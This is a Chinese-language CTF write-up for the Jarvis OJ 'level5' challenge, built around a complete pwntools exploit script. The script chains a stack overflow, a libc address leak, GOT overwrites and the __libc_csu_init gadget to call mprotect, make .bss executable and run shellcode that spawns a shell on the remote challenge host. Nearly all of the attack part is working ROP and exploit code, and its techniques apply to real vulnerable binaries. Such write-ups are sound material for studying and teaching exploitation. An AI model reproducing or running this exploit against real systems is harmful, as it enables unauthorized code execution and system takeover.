题目信息

mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。

nc pwn2.jarvisoj.com 9884

附件同level3_x64

那么基础信息直接使用之前的

64位elf,只开了NX,并且给出了libc文件

静态分析

IDA F5,首先看elf文件,和level3一样,明显的溢出,但程序中没有直接的system和”/bin/sh”

给出的libc文件中有这两个

那么思路就和level3类似,leak之后计算地址,执行system

题目要求使用mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。

区别同样只在于32位和64位的栈上

在32位程序运行中,函数参数直接压入栈中

  • 调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1

在64位程序运行中,参数传递需要寄存器

  • 64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中
  • 参数超过六个时,从第七个开始压入栈中

exploit

  1. 想要使用mprotect,且给了libc,那首选是用write函数leak出某个函数(比如write)的地址,然后由libc计算偏移得到mprotect。
  2. 把shellcode写到bss段用read可以直接搞定不多说。
  3. 由于是64位的程序,函数的前6个参数都是通过寄存器来传递的,而rwx的十进制表示是7(b111),且mprotect的函数定义是int mprotect(void *addr, size_t len, int prot);。我们的7是作为第三个参数放在rdx里,而一般是不存在有关rdx的gadgets的,所以这里我们考虑使用__libc_csu_init尾部的万能gadgets(能解决三个参数内的函数调用)。
  4. 大致流程:栈溢出 -> leak write -> hijack got -> read shellcode from stdin to bss -> call mprotect to set ‘rwx’ -> exec shellcode
  • _libc_csu_init函数是程序调用libc库用来对程序进行初始化的函数,一般先于main函数执行

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *

elf = ELF('./level5')
libc = ELF('./libc-2.19.so')

sh = remote('pwn2.jarvisoj.com', 9884)
# sh = process('./level5')
context.arch = 'amd64'
# context.log_level = 'debug'

write_plt = elf.plt["write"]
write_got = elf.got["write"]
read_plt = elf.plt['read']
read_got = elf.got['read']
vuln_func = elf.symbols["vulnerable_function"]
write_libc = libc.symbols["write"]
bss_addr = elf.bss()
shellcode = asm(shellcraft.amd64.sh())
pop_rdi = 0x00000000004006b3
pop_rsi_r15 = 0x00000000004006b1

payload1 = 'A' * 0x88
payload1 += p64(pop_rsi_r15) + p64(write_got) + p64(0)
payload1 += p64(pop_rdi) + p64(1)
payload1 += p64(write_plt)
# hijack __libc_start_main -> mprotect
mprotect_got = elf.got['__libc_start_main']
payload1 += p64(pop_rsi_r15) + p64(mprotect_got) + p64(0)
payload1 += p64(pop_rdi) + p64(0)
payload1 += p64(read_plt)
# read shellcode from stdin to bss
payload1 += p64(pop_rsi_r15) + p64(bss_addr) + p64(0)
payload1 += p64(read_plt)
# hijack __gmon_start__ -> bss_shellcode
bss_got = elf.got['__gmon_start__']
payload1 += p64(pop_rsi_r15) + p64(bss_got) + p64(0)
payload1 += p64(read_plt)
payload1 += p64(elf.symbols['main'])

sh.recv() # 'Input:\n'
sh.send(payload1)

write_addr = u64(sh.recv(8))
libc_base = write_addr - write_libc
libc_mprotect = libc.symbols['mprotect']
mprotect_addr = libc_base + libc_mprotect

pause()
sh.send(p64(mprotect_addr))
pause()
sh.send(shellcode)
pause()
sh.send(p64(bss_addr))

"""
0x400690 <__libc_csu_init+64>: mov rdx,r13
0x400693 <__libc_csu_init+67>: mov rsi,r14
0x400696 <__libc_csu_init+70>: mov edi,r15d
0x400699 <__libc_csu_init+73>: call QWORD PTR [r12+rbx*8]

0x4006a6 <__libc_csu_init+86>: add rsp,0x8
0x4006aa <__libc_csu_init+90>: pop rbx
0x4006ab <__libc_csu_init+91>: pop rbp
0x4006ac <__libc_csu_init+92>: pop r12
0x4006ae <__libc_csu_init+94>: pop r13
0x4006b0 <__libc_csu_init+96>: pop r14
0x4006b2 <__libc_csu_init+98>: pop r15
0x4006b4 <__libc_csu_init+100>: ret
"""

payload2 = 'A' * 0x88
payload2 += p64(0x4006a6)
payload2 += p64(0xdeadbeef)
payload2 += p64(0) # rbx
payload2 += p64(1) # rbp
# r12->addr >> call mprotect to set 0x600000(rw-p) to rwxp so shellcode can be execute
payload2 += p64(elf.got['__libc_start_main'])
payload2 += p64(7) # r13 = rdx
payload2 += p64(0x1000) # r14 = rsi
payload2 += p64(0x00600000) # edi bss:0000000000600a88
payload2 += p64(0x400690)
payload2 += p64(0xdeadbeef)
payload2 += p64(0) # rbx
payload2 += p64(1) # rbp
payload2 += p64(elf.got['__gmon_start__']) # r12->addr >> call shellcode
payload2 += p64(0) # r13->rdx
payload2 += p64(0) # r14->rsi
payload2 += p64(0) # r15->edi
payload2 += p64(0x400690)

sh.recv() # 'Input:\n'
pause()
sh.send(payload2)
sh.interactive()
  • 因为是call QWORD PTR [r12+rbx*8],调用的指针,所以需要劫持GOT,不能直接使用地址

getflag